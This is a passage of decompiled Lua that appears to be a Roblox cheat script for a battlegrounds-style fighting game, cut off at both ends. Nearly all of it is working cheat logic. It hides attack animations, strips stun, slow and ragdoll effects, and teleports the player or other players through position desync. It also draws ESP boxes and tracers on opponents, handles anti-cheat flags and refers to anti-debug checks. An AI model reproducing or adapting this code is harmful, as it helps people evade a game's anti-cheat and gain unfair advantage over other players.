getgenv().flingDesync.Velocity))) then p915:AdjustWeight(-999999) end if _AnimationId:match('95000469063288') and (Toggles.TrashcanLaunchh and Toggles.TrashcanLaunchh.Value) then local v917 = os.clock() repeat _RenderStepped:Wait() until os.clock() >= v917 + 3 u863.Health = 0 end if idMatch(_AnimationId, { '18748398210', }) then u645 = u645 + 1 u477:Notify({ Title = bypassText('Anticheat Flagged'), Description = bypassText('A2 (Animation)'), Time = 10, SoundId = u42.Notification, }) end if idMatch(_AnimationId, { '13814919604', '13813450889', '13813448561', '13813955149', }) and Toggles.NoTrashcanHold.Value then p915:Stop() elseif idMatch(_AnimationId, { '7815618175', }) and Options.RunAnimation.Value ~= 'Normal' then p915:Stop() elseif idMatch(_AnimationId, { '10470389827', }) and Options.BlockAnimation.Value ~= 'Normal' then p915:Stop() elseif idMatch(_AnimationId, u56) then if Toggles.CustomSideDash.Value then p915:AdjustSpeed(Options.SDSpeed.Value) end if Toggles.M1Reset.Value then local u923 = _UserInputService.InputBegan:Once(function() while true do if _UserInputService:IsKeyDown(Enum.KeyCode.Q) and not u861:FindFirstChild('RagdollCancel') then if _UserInputService:IsKeyDown(Enum.KeyCode.A) or (_UserInputService:IsKeyDown(Enum.KeyCode.D) or _UserInputService:IsKeyDown(Enum.KeyCode.S)) then if workspace:GetAttribute('NoDashCooldown') then p915:Stop() local v918 = u861 local v919, v920, v921 = pairs(v918:GetChildren()) while true do local v922 v921, v922 = v919(v920, v921) if v921 == nil then break end if v922.Name == 'UsedDash' or v922.Name == 'Freeze' then v922:Destroy() end end end else communicate({ Dash = Enum.KeyCode.W, Key = Enum.KeyCode.Q, Goal = 'KeyPress', }) end break end _RenderStepped:Wait() if not p915.IsPlaying then break end end end) task.delay(1, function() u923:Disconnect() end) end elseif _AnimationId:match('11343250001') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Death Counter') then p915:Stop() task.spawn(fixCam) u861:WaitForChild('AbsoluteImmortal', 1) if not u861:FindFirstChild('AbsoluteImmortal') then return end local _CFrame5 = u862.CFrame local v925 = _Players local v926, v927, v928 = pairs(v925:GetPlayers()) local v929 = nil while true do local v930, v931 = v926(v927, v928) if v930 == nil then break end v928 = v930 if v931 ~= _LocalPlayer then local v932 = getChar(v931) local v933 if v932 then v933 = getRoot(v932) else v933 = v932 end local v934 if v932 then v934 = getHumanoid(v932) else v934 = v932 end if v932 and (v933 and v934) then local v935, v936, v937 = pairs(v934:GetPlayingAnimationTracks()) while true do local v938 v937, v938 = v935(v936, v937) if v937 == nil then break end if v938.Animation.AnimationId:match('11343318134') and (u862.Position - v933.Position).Magnitude <= 15 then v929 = v931 end end end end end local u939 if v929 then u939 = getChar(v929) if u939 then u939 = getHumanoid(u939) end u477:Notify({ Title = bypassText('Phantasm'), Description = bypassText(v929.DisplayName .. ' death countered you!'), Time = 5, SoundId = u42.Notification, }) else u939 = ({ Character = { Humanoid = {Health = 100}, }, DisplayName = '{Failed to get username}', }).Character.Humanoid task.delay(2, function() u939.Health = 0 end) u477:Notify({ Title = bypassText('Phantasm'), Description = bypassText('Unable to find who death countered you.'), Time = 5, SoundId = u42.Notification, }) end local _CurrentCamera5 = workspace.CurrentCamera local v941 if _CurrentCamera5 then v941 = _CurrentCamera5.CameraSubject _CurrentCamera5.CameraSubject = nil else v941 = nil end local v942 = tick() repeat heartbeatTp(u36.Void * CFrame.Angles(math.rad(90), 0, 0)) _RenderStepped:Wait() until u939 and u939.Health <= 0 or (u863.Health <= 0 or tick() >= v942 + 10) if _CurrentCamera5 then _CurrentCamera5.CameraSubject = v941 end heartbeatTp(_CFrame5) task.wait(1) if u861:FindFirstChild('Freeze') then u861.Freeze:Destroy() end if u861:FindFirstChild('NoRotate') then u861.NoRotate:Destroy() end task.spawn(fixCam) elseif _AnimationId:match('11365563255') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Table Flip') then p915:Stop() task.delay(3, function() u863.HipHeight = 10 task.wait(0.75) u863.HipHeight = 0 end) elseif _AnimationId:match('12983333733') then if rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Serious Punch') then p915:Stop() end elseif _AnimationId:match('13927612951') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Omni-Directional Punch') then p915:Stop() elseif _AnimationId:match('12447707844') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Ult') then p915:Stop() local v943 = tick() repeat getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() until tick() >= v943 + 1 getgenv().desync = nil elseif _AnimationId:match('12342141464') and rawget(Options.InvisibleMoves_Garou.Value, 'Invisible Ult') then p915:Stop() elseif table.find({ 'rbxassetid://13499771836', 'rbxassetid://13497875049', }, _AnimationId) and rawget(Options.InvisibleMoves_Sonic.Value, 'Invisible Ult') then p915:Stop() elseif _AnimationId:match('12772543293') and rawget(Options.InvisibleMoves_Genos.Value, 'Invisible Ult') then p915:Stop() elseif _AnimationId:match('13146710762') and rawget(Options.InvisibleMoves_Genos.Value, 'Invisible Incinerate') then p915:Stop() elseif _AnimationId:match('15145462680') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atmos Cleave') then p915:Stop() elseif _AnimationId:match('15391323441') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Ult') then p915:Stop() elseif idMatch(_AnimationId, { '16139108718', '16139708727', '16139402582', }) and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Crushing Pull') then p915:Stop() elseif _AnimationId:match('16515850153') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Windstorm Fury') then p915:Stop() elseif _AnimationId:match('16431491215') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Stone Grave') then p915:Stop() elseif idMatch(_AnimationId, { '16597322398', '16597912086', }) and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Expulsive Push') then p915:Stop() elseif _AnimationId:match('16734584478') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Ult') then p915:Stop() elseif _AnimationId:match('15520132233') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunset') then p915:Stop() elseif _AnimationId:match('15676072469') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Solar Cleave') then p915:Stop() elseif _AnimationId:match('16062410809') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunrise') then p915:Stop() elseif _AnimationId:match('16062712948') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunrise Finisher') then p915:Stop() elseif _AnimationId:match('16082123712') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atomic Slash') then p915:Stop() elseif _AnimationId:match('16057411888') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atomic Slash Finisher') then p915:Stop() elseif _AnimationId:match('17799224866') and rawget(Options.InvisibleMoves_Suiryu.Value, 'Invisible Bullet Barrage') then p915:Stop() elseif _AnimationId:match('17275150809') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Terrible Tornado') then p915:Stop() elseif _AnimationId:match('17278415853') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Terrible Tornado Finisher') then p915:Stop() elseif table.find(u53, _AnimationId) and Toggles.InvisibleMoves_Counter.Value then p915:AdjustWeight(-999999) elseif table.find(u54, _AnimationId) and Toggles.InvisibleMoves_CounterHit.Value then p915:Stop() elseif table.find(u55, _AnimationId) and Toggles.InvisibleMoves_Block.Value then p915:AdjustWeight(-999999) local _EsperShield = u862:FindFirstChild('EsperShield') if _EsperShield then local v945, v946, v947 = pairs(_EsperShield:GetChildren()) while true do local v948, u949 = v945(v946, v947) if v948 == nil then break end v947 = v948 if u949:IsA('ParticleEmitter') and not u949.Name:find('Impact') then task.spawn(function() local _Rate = u949.Rate local _Color = u949.Color u949.Rate = 45 if Toggles.InvisibleMoves_BlockColor.Value then u949.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Options.InvisibleMoves_BlockColor1.Value), ColorSequenceKeypoint.new(0.5, Options.InvisibleMoves_BlockColor2.Value), ColorSequenceKeypoint.new(1, Options.InvisibleMoves_BlockColor3.Value), }) end u949.Enabled = true repeat _RenderStepped:Wait() until not p915.IsPlaying u949.Enabled = false u949.Rate = _Rate if Toggles.InvisibleMoves_BlockColor.Value then u949.Color = _Color end end) end end end end if Toggles.SkillBring.Value then local u952 = u36[Options.SkillBringArea.Value] local _Value13 = Toggles.SkillBringTPBack.Value if _AnimationId:match('12273188754') then task.wait(0.25) u59['Pause Orbit'] = true local _CFrame6 = u862.CFrame tick() _TweenService:Create(u862, TweenInfo.new(0.75, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {CFrame = u952}):Play() task.wait(0.75) u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame6) end elseif _AnimationId:match('12296113986') then u59['Pause Orbit'] = true local _CFrame7 = u862.CFrame _TweenService:Create(u862, TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {CFrame = u952}):Play() task.wait(1.5) u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame7) end elseif _AnimationId:match('14048285180') or _AnimationId:match('14046756619') then task.wait(0.35) u59['Pause Orbit'] = true local _CFrame8 = u862.CFrame _TweenService:Create(u862, TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { CFrame = CFrame.new(-66, 29, 20383), }):Play() task.wait(2.25) u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame8) end elseif _AnimationId:match('14705929107') then task.wait(1.75) u59['Pause Orbit'] = true local _CFrame9 = u862.CFrame local v958 = tick() repeat heartbeatTp(u952) task.wait() until tick() >= v958 + 0.5 u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame9) end elseif _AnimationId:match('13376962659') then task.wait(1.5) u59['Pause Orbit'] = true local _CFrame10 = u862.CFrame local v960 = tick() repeat heartbeatTp(u952) task.wait() until tick() >= v960 + 0.5 u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame10) end elseif _AnimationId:match('15145462680') then task.spawn(function() task.wait(1.8) local v961 = _Players local v962, v963, v964 = pairs(v961:GetPlayers()) while true do local v965 v964, v965 = v962(v963, v964) if v964 == nil then break end if v965 ~= _LocalPlayer then local v966 = getChar(v965) local v967 if v966 then v967 = getRoot(v966) else v967 = v966 end local v968 if v966 then v968 = getHumanoid(v966) else v968 = v966 end if v966 and (v967 and (v968 and ((v967.Position - u862.Position).Magnitude <= 15 and v968.Health <= 20))) then return end end end u59['Pause Orbit'] = true local _CFrame11 = u862.CFrame local v970 = tick() repeat heartbeatTp(u952) task.wait() until tick() >= v970 + 0.5 u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame11) end end) elseif _AnimationId:match('15295895753') then task.wait(0.4) if p915.IsPlaying then u59['Pause Orbit'] = true local _CFrame12 = u862.CFrame local v972 = tick() repeat heartbeatTp(u952) task.wait() until tick() >= v972 + 0.8 u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame12) end end elseif _AnimationId:match('16139108718') then local _CFrame13 = u862.CFrame u59['Pause Orbit'] = true local v974 = tick() repeat heartbeatTp(u952) task.wait() until tick() >= v974 + 1 u59['Pause Orbit'] = false if _Value13 then heartbeatTp(_CFrame13) end end end if _AnimationId:match('135104210400610') then repeat task.wait() until not p915.IsPlaying if p915.TimePosition >= 0.75 then local v975 = _Players local v976, v977, v978 = pairs(v975:GetPlayers()) while true do local v979, v980 = v976(v977, v978) if v979 == nil then break end v978 = v979 if v980 ~= _LocalPlayer then local v981 = getChar(v980) if v981 then v981:SetAttribute('CrushedRockVariant', nil) end end end end end if Toggles.AttackAll.Value then if _AnimationId:match('14719290328') and rawget(Options.AttackAllMoves.Value, 'Savage Tornado') then local _CFrame14 = u862.CFrame heartbeatTp(u36.Void) task.wait(0.9) local v983 = tick() repeat grabRandom(true) task.wait(0.03) until tick() >= v983 + 1.75 _TweenService:Create(u862, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { CFrame = u36['Even Bigger Jail'], }):Play() task.wait(1.5) heartbeatTp(_CFrame14) end if _AnimationId:match('14701242661') and rawget(Options.AttackAllMoves.Value, 'Brutal Beatdown') then heartbeatTp(u36.Void) task.wait(2) local v984 = tick() repeat grabRandom(true) task.wait(0.05) until tick() >= v984 + 4.5 local v985 = tick() grabRandom(true) task.wait(0.03) if tick() >= v985 + 1.3 then end end if _AnimationId:match('135104210400610') and rawget(Options.AttackAllMoves.Value, 'Crushed Rock Variant') then local v986 = getAllPlayers() local v987, v988, v989 = pairs(v986) local v990 = nil while true do local v991, v992 = v987(v988, v989) if v991 == nil then break end v989 = v991 local v993 = getChar(v992) local v994 if v993 then v994 = v993:FindFirstChildWhichIsA('ForceField') else v994 = v993 end if v993 and not (v994 or v993:GetAttribute('CrushedRockVariant')) then v990 = v992 end end local v995 if v990 then v995 = getChar(v990) else v995 = v990 end local v996 if v995 then v996 = getRoot(v995) else v996 = v995 end if v990 and (v995 and v996) then repeat heartbeatTp(v996.CFrame) task.wait() until not p915.IsPlaying end end else if Toggles.SkillThrow.Value then local _Value14 = Options.SkillThrowMoves.Value if _AnimationId:match('12309835105') and rawget(_Value14, 'Hunters Grasp') then task.wait(0.3) local _CFrame15 = u862.CFrame _TweenService:Create(u862, TweenInfo.new(0.4, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { CFrame = u862.CFrame * CFrame.new(0, 2500, 0), }):Play() task.wait(0.8) heartbeatTp(_CFrame15) elseif _AnimationId:match('14004235777') and rawget(_Value14, 'Homerun') then task.wait(0.4) local _CFrame16 = u862.CFrame _TweenService:Create(u862, TweenInfo.new(0.4, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { CFrame = u862.CFrame * CFrame.new(0, 10000, 0), }):Play() task.wait(1) heartbeatTp(_CFrame16) end end return end end) local u1000 = {} u45[#u45 + 1] = u861.DescendantAdded:Connect(function(p1001) if table.find({ 'BODYGYRO', 'BodyGyroBind', }, p1001.Name) and Options.RunAnimation.Value == 'Sonic EXE' then deleteNew(p1001, false) end if p1001:IsA('Sound') and (p1001.SoundId:match('16139753098') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Crushing Pull')) then local v1002 = tick() repeat communicate({ Goal = 'KeyPress', Key = Enum.KeyCode.F, }) _RenderStepped:Wait() until tick() >= v1002 + 0.5 communicate({ Goal = 'KeyRelease', Key = Enum.KeyCode.F, }) end if p1001:IsA('ObjectValue') and p1001.Name:lower() == 'wallcombo' then local v1003 = tick() while true do if Options.AutoWallCombo.Value == 'Auto Wall Combo' then communicate({ Goal = 'Wall Combo', }) end task.wait() if p1001.Parent ~= u861 or tick() >= v1003 + (p1001:GetAttribute('DeleteMe') or 0.6) then end end else if p1001:IsA('BodyPosition') then if p1001.Name ~= 'AIRBP' or (p1001.D ~= 800 or (p1001.P ~= 10000 or (p1001.MaxForce ~= Vector3.new(1, 1, 1) * 40000 or not Toggles.NoBP_WindstormFury.Value))) then if p1001.Name ~= 'AIRBP' or (p1001.D ~= 800 or (p1001.P ~= 10000 or (p1001.MaxForce ~= Vector3.new(1, 1, 1) * 40000 or (p1001:GetAttribute('SpinCenter') == nil or not Toggles.NoBP_TatsumakiUlt.Value)))) then if p1001.Name == 'AIRBP' and (p1001.D == 850 and (p1001.P == 10000 and (p1001.MaxForce == Vector3.new(1, 1, 1) * 40000 and Toggles.NoBP_PreysPeril.Value))) then task.spawn(pcall, deleteNew, p1001, false) end else task.spawn(pcall, deleteNew, p1001, false) end else task.spawn(pcall, deleteNew, p1001, false) end end if p1001:IsA('BodyVelocity') then if p1001.Name ~= 'moveme' or (p1001:GetAttribute('Speed') or 0) ~= 165 then if p1001.Name == 'dodgevelocity' and not p1001:GetAttribute('Clone') then _Stepped:Wait() local v1004 = u863 local v1005, v1006, v1007 = pairs(v1004:GetPlayingAnimationTracks()) while true do local v1008 v1007, v1008 = v1005(v1006, v1007) if v1007 == nil then break end if v1008.Animation.AnimationId:match('10491993682') and v1008.TimePosition <= 0.1 then if Toggles.CustomBackDash.Value then local v1009 = p1001:Clone() v1009:SetAttribute('Clone', true) table.insert(u1000, v1009) p1001.Parent = workspace while p1001 and p1001.Parent do v1009.Parent = u862 v1009.Velocity = p1001.Velocity * Options.BDDistance.Value _RenderStepped:Wait() end if v1009 and v1009.Parent then v1009:Destroy() table.remove(u1000, table.find(u1000, v1009)) end end return end end if Toggles.CustomSideDash.Value then local v1010 = p1001:Clone() v1010:SetAttribute('Clone', true) table.insert(u1000, v1010) p1001.Parent = workspace while p1001 and p1001.Parent do v1010.Parent = u862 v1010.Velocity = p1001.Velocity * Options.SDDistance.Value _RenderStepped:Wait() end if v1010 and v1010.Parent then v1010:Destroy() table.remove(u1000, table.find(u1000, v1010)) end end end else if Toggles.CustomFrontDash.Value then p1001:SetAttribute('Speed', Options.FDDistance.Value) end local v1011, v1012, v1013 = pairs(u1000) while true do local v1014 v1013, v1014 = v1011(v1012, v1013) if v1013 == nil then break end v1014:Destroy() end table.clear(u1000) end end if p1001:IsA('Accessory') then if table.find({ 'Slowed', 'StopRunning', 'ComboStun', }, p1001.Name) and rawget(Options.CharacterExploits.Value, 'No Slow') then if p1001.Name ~= 'Slowed' then if p1001.Name == 'StopRunning' or p1001.Name == 'ComboStun' then deleteNew(p1001) end else local v1015 = u863:GetPropertyChangedSignal('WalkSpeed'):Connect(function() u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16) end) u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16) repeat _RenderStepped:Wait() until p1001.Parent ~= u861 v1015:Disconnect() end elseif (p1001.Name == 'Freeze' or p1001.Name == 'AntiMove') and rawget(Options.CharacterExploits.Value, 'No Stun') then local v1016 = u863:GetPropertyChangedSignal('WalkSpeed'):Connect(function() u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16) end) u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16) repeat _RenderStepped:Wait() until p1001.Parent ~= u861 v1016:Disconnect() elseif p1001.Name ~= 'NoJump' or not rawget(Options.CharacterExploits.Value, 'No Jump Bypass') then if (p1001.Name == 'NoRotate' or p1001.Name == 'NoRotateUltimate') and rawget(Options.CharacterExploits.Value, 'No Rotations Bypass') then task.spawn(pcall, deleteNew, p1001, false) elseif p1001.Name ~= 'Ragdoll' then if p1001.Name ~= 'RagdollSim' then if p1001.Name ~= 'BeingLaunched' then if p1001.Name == 'ThrowTrashcan' then u59['Trashcan Launch'] = true task.wait(0.25) u59['Trashcan Launch'] = false end elseif Toggles.LaunchHide.Value and u863.Health > 0 and not u861:FindFirstChild('ExtraHitbox') then local v1017 = tick() repeat getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() until tick() >= v1017 + 3 or (u861:FindFirstChild('LaunchEnded') or u863.Health <= 0) getgenv().desync = nil end elseif rawget(Options.CharacterExploits.Value, 'Anti Ragdoll') then task.spawn(pcall, deleteNew, p1001, false) end else if rawget(Options.CharacterExploits.Value, 'Anti Ragdoll') then p1001:Remove() end if Toggles.AutoRagdollCancel.Value then communicate({ Dash = Enum.KeyCode.S, Key = Enum.KeyCode.Q, Goal = 'KeyPress', }) end task.spawn(function() if Toggles.RagdollHide.Value and u863.Health > 0 and not u861:FindFirstChild('ExtraHitbox') then tick() repeat getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() until not p1001 or (not p1001.Parent or u863.Health <= 0) getgenv().desync = nil end end) end else task.spawn(pcall, deleteNew, p1001, false) end end return end end) end end function initOthers(p1018) if not u43[p1018] then u43[p1018] = {} end if u44.Players[p1018] then local v1019, v1020, v1021 = pairs(u44.Players[p1018]) while true do local v1022 v1021, v1022 = v1019(v1020, v1021) if v1021 == nil then break end v1022:Remove() end table.remove(u44.Players, table.find(u44.Players, p1018)) end u44.Players[p1018] = {} local v1023, v1024, v1025 = pairs(u43[p1018]) while true do local v1026 v1025, v1026 = v1023(v1024, v1025) if v1025 == nil then break end v1026:Disconnect() end table.clear(u43[p1018]) repeat task.wait() until getChar(p1018) and (getRoot(getChar(p1018)) and getHumanoid(getChar(p1018))) or not u43[p1018] local u1027 = getChar(p1018) local u1028 if u1027 then u1028 = getRoot(u1027) else u1028 = u1027 end local u1029 if u1027 then u1029 = getHumanoid(u1027) else u1029 = u1027 end if u1027 and (u1028 and (u1029 and u43[p1018])) then task.spawn(function() local v1030 = u1027 local v1031, v1032, v1033 = pairs(v1030:GetDescendants()) while true do local u1034 v1033, u1034 = v1031(v1032, v1033) if v1033 == nil then break end if u1034:IsA('BasePart') and (u1034 ~= u1028 and u1034.Transparency ~= 1) and not u1034.Name:lower():find('hitbox') then task.spawn(function() while task.wait() and (not getChar(p1018) or getChar(p1018) == u1027) and u43[p1018] do if u1034 and Toggles.AntiExploits_Invisibility.Value then local v1035 = u1029 local v1036, v1037, v1038 = pairs(v1035:GetPlayingAnimationTracks()) while true do local v1039 v1038, v1039 = v1036(v1037, v1038) if v1038 == nil then break end local v1040, v1041, v1042 = pairs(u58) while true do local v1043 v1042, v1043 = v1040(v1041, v1042) if v1042 == nil then break end if v1039.Animation.AnimationId:match(v1043) and v1039.Speed ~= 1 then repeat u1034.Transparency = 0.5 _RenderStepped:Wait() until not (v1039.IsPlaying and Toggles.AntiExploits_Invisibility.Value) u1034.Transparency = 0 end end end end end end) end end end) local _Quad = Draw('Quad', { Transparency = 1, Filled = false, Visible = false, }) local _Line = Draw('Line', {Visible = false}) table.insert(u44.Players[p1018], _Quad) table.insert(u44.Players[p1018], _Line) local v1046 = _RenderStepped u43[p1018][#u43[p1018] + 1] = v1046:Connect(function() if Toggles.AntiExploits_Fling.Value then u1028.Velocity = Vector3.new() u1028.RotVelocity = Vector3.new() u1028.AssemblyLinearVelocity = Vector3.new() u1028.AssemblyAngularVelocity = Vector3.new() end local _CurrentCamera6 = workspace.CurrentCamera if _CurrentCamera6 then local v1048, v1049 = _CurrentCamera6:WorldToViewportPoint(u1028.Position) local _CFrame17 = u1028.CFrame if Toggles.FaceCamera.Value then _CFrame17 = CFrame.new(_CFrame17.p, _CFrame17.p - _CurrentCamera6.CFrame.lookVector) end local v1051 = CFrame.new(0, 0, 0) local v1052 = Vector3.new(4, 6, 0) local v1053 = { TopLeft = _CFrame17 * v1051 * CFrame.new(v1052.X / 2, v1052.Y / 2, 0), TopRight = _CFrame17 * v1051 * CFrame.new(-v1052.X / 2, v1052.Y / 2, 0), BottomLeft = _CFrame17 * v1051 * CFrame.new(v1052.X / 2, -v1052.Y / 2, 0), BottomRight = _CFrame17 * v1051 * CFrame.new(-v1052.X / 2, -v1052.Y / 2, 0), TagPos = _CFrame17 * v1051 * CFrame.new(0, v1052.Y / 2, 0), Torso = _CFrame17 * v1051, } if _Quad then if Toggles.BoxESP.Value and (v1048 and v1049) then local v1054, v1055 = _CurrentCamera6:WorldToViewportPoint(v1053.TopLeft.p) local v1056, v1057 = _CurrentCamera6:WorldToViewportPoint(v1053.TopRight.p) local v1058, v1059 = _CurrentCamera6:WorldToViewportPoint(v1053.BottomLeft.p) local v1060, v1061 = _CurrentCamera6:WorldToViewportPoint(v1053.BottomRight.p) if v1055 or (v1057 or (v1059 or v1061)) then _Quad.PointA = Vector2.new(v1056.X, v1056.Y) _Quad.PointB = Vector2.new(v1054.X, v1054.Y) _Quad.PointC = Vector2.new(v1058.X, v1058.Y) _Quad.PointD = Vector2.new(v1060.X, v1060.Y) _Quad.Color = Options.BoxColor.Value _Quad.Thickness = Options.BoxThickness.Value _Quad.Transparency = Options.BoxTransparency.Value _Quad.Visible = true else _Quad.Visible = false _Quad.Thickness = 0 end else _Quad.Visible = false _Quad.Thickness = 0 end end if _Line then if Toggles.Tracers.Value and (v1048 and v1049) then if Toggles.UnlockTracers.Value then _Line.From = Vector2.new(u6.X, u6.Y + 60) else _Line.From = Vector2.new(_CurrentCamera6.ViewportSize.X / 2, _CurrentCamera6.ViewportSize.Y / 1) end _Line.To = Vector2.new(v1048.X, v1048.Y) _Line.Color = Options.TracerColor.Value _Line.Thickness = Options.TracerThickness.Value _Line.Transparency = Options.TracerTransparency.Value _Line.Visible = true else _Line.Visible = false end end else _Line.Visible = false _Quad.Visible = false end end) u43[p1018][#u43[p1018] + 1] = u1027.ChildAdded:Connect(function(p1062) if p1062:IsA('Accessory') and p1062.Name == 'Counter' then MoveNotify(p1018, 'Death Counter') if Toggles.ShowDeathCounter.Value then local v1063 = { Parent = u1028, SoundId = 'rbxassetid://6476791205', Volume = 10, } Create('Sound', v1063):Play() local u1064 = {} for v1065 = 1, 10 do local v1066 = Random.new():NextNumber(0.9, 1.1) local u1067 = _ReplicatedStorage.Resources.LegacyReplication.Menacing:Clone() u1067.Enabled = true u1067.Size = UDim2.new(v1066, 0, v1066, 0) local v1068 = Random.new():NextNumber(-4, 4) local v1069 = math.random(-4, 4) u1067.StudsOffsetWorldSpace = Vector3.new(v1068, 0, v1069) u1067.Parent = u1028 table.insert(u1064, u1067) task.delay(v1065, function() if u1067.Parent then table.remove(u1064, table.find(u1064, u1067)) _TweenService:Create(u1067, TweenInfo.new(1, Enum.EasingStyle.Back, Enum.EasingDirection.In), { StudsOffsetWorldSpace = u1067.StudsOffsetWorldSpace - Vector3.new(0, 10, 0), }):Play() _TweenService:Create(u1067.ImageLabel, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {ImageTransparency = 1}):Play() end end) end local v1070 = {} local v1071 = {Parent = true} while wait() do local v1072, v1073, v1074 = pairs(u1064) while true do local v1075 v1074, v1075 = v1072(v1073, v1074) if v1074 == nil then break end if not v1070[v1075] then v1070[v1075] = v1075.StudsOffsetWorldSpace end local v1076 = v1070[v1075] local v1077 = Random.new():NextNumber(-0.04, 0.04) v1075.StudsOffsetWorldSpace = v1076 + Vector3.new(v1077, v1077, v1077) end if not (v1071 and v1071.Parent) then local v1078, v1079, v1080 = pairs(u1064) while true do local v1081 v1080, v1081 = v1078(v1079, v1080) if v1080 == nil then break end local v1082 = Random.new():NextNumber(2, 3) _TweenService:Create(v1081, TweenInfo.new(v1082, Enum.EasingStyle.Back, Enum.EasingDirection.In), { StudsOffsetWorldSpace = v1070[v1081] - Vector3.new(0, 10, 0), }):Play() _TweenService:Create(v1081.ImageLabel, TweenInfo.new(v1082, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {ImageTransparency = 1}):Play() end local u1083 = u1064 task.delay(3, function() local v1084, v1085, v1086 = pairs(u1083) while true do local v1087 v1086, v1087 = v1084(v1085, v1086) if v1086 == nil then break end v1087:Destroy() end end) break end end end end end) u43[p1018][#u43[p1018] + 1] = u1029.AnimationPlayed:Connect(function(p1088) local _AnimationId2 = p1088.Animation.AnimationId local u1090 = getChar(_LocalPlayer) local u1091 if u1090 then u1091 = getRoot(u1090) else u1091 = u1090 end local u1092 if u1090 then u1092 = getHumanoid(u1090) else u1092 = u1090 end local _Value15 = Toggles.AntiMovesMisc_BackdashCancel.Value if u1090 and (u1091 and u1092) then task.spawn(function() if p1088.WeightTarget == 0 or p1088.Speed == 0 then return end if _AnimationId2:match('129945907044125') and isAnimPlaying(u1092, '131226430469931') then u1027:SetAttribute('CrushedRockVariant', true) end if _AnimationId2:match('10468665991') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Normal Punch') then local _Part2 = Instance.new('Part', _Workspace) _Part2.Anchored = true _Part2.Size = Vector3.new(12.5, 5, 75) _Part2.CanCollide = false _Part2.Transparency = 1 local _Part3 = Instance.new('Part', _Workspace) _Part3.Anchored = true _Part3.Size = Vector3.new(12.5, 5, 75) _Part3.CanCollide = false _Part3.Transparency = 1 local _Part4 = Instance.new('Part', _Workspace) _Part4.Anchored = true _Part4.Size = Vector3.new(12.5, 5, 75) _Part4.CanCollide = false _Part4.Transparency = 1 local u1097 = false local u1098 = false local u1099 = false local v1100 = {} table.insert(v1100, _Part2.Touched:Connect(function(p1101) if p1101 == u1091 then u1097 = true end end)) table.insert(v1100, _Part2.TouchEnded:Connect(function(p1102) if p1102 == u1091 then u1097 = false end end)) table.insert(v1100, _Part3.Touched:Connect(function(p1103) if p1103 == u1091 then u1098 = true end end)) table.insert(v1100, _Part3.TouchEnded:Connect(function(p1104) if p1104 == u1091 then u1098 = false end end)) table.insert(v1100, _Part4.Touched:Connect(function(p1105) if p1105 == u1091 then u1099 = true end end)) table.insert(v1100, _Part4.TouchEnded:Connect(function(p1106) if p1106 == u1091 then u1099 = false end end)) if _Value15 then task.wait(0.35) _Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0) _Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0) _Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5) task.wait() if u1097 or (u1098 or u1099) then bdcancel() end _Part2:Destroy() _Part3:Destroy() _Part4:Destroy() local v1107, v1108, v1109 = pairs(v1100) while true do local v1110 v1109, v1110 = v1107(v1108, v1109) if v1109 == nil then break end v1110:Disconnect() end return end local v1111 = tick() local v1112 = u1099 local v1113 = u1098 local v1114 = u1097 while true do if true then if antidebug 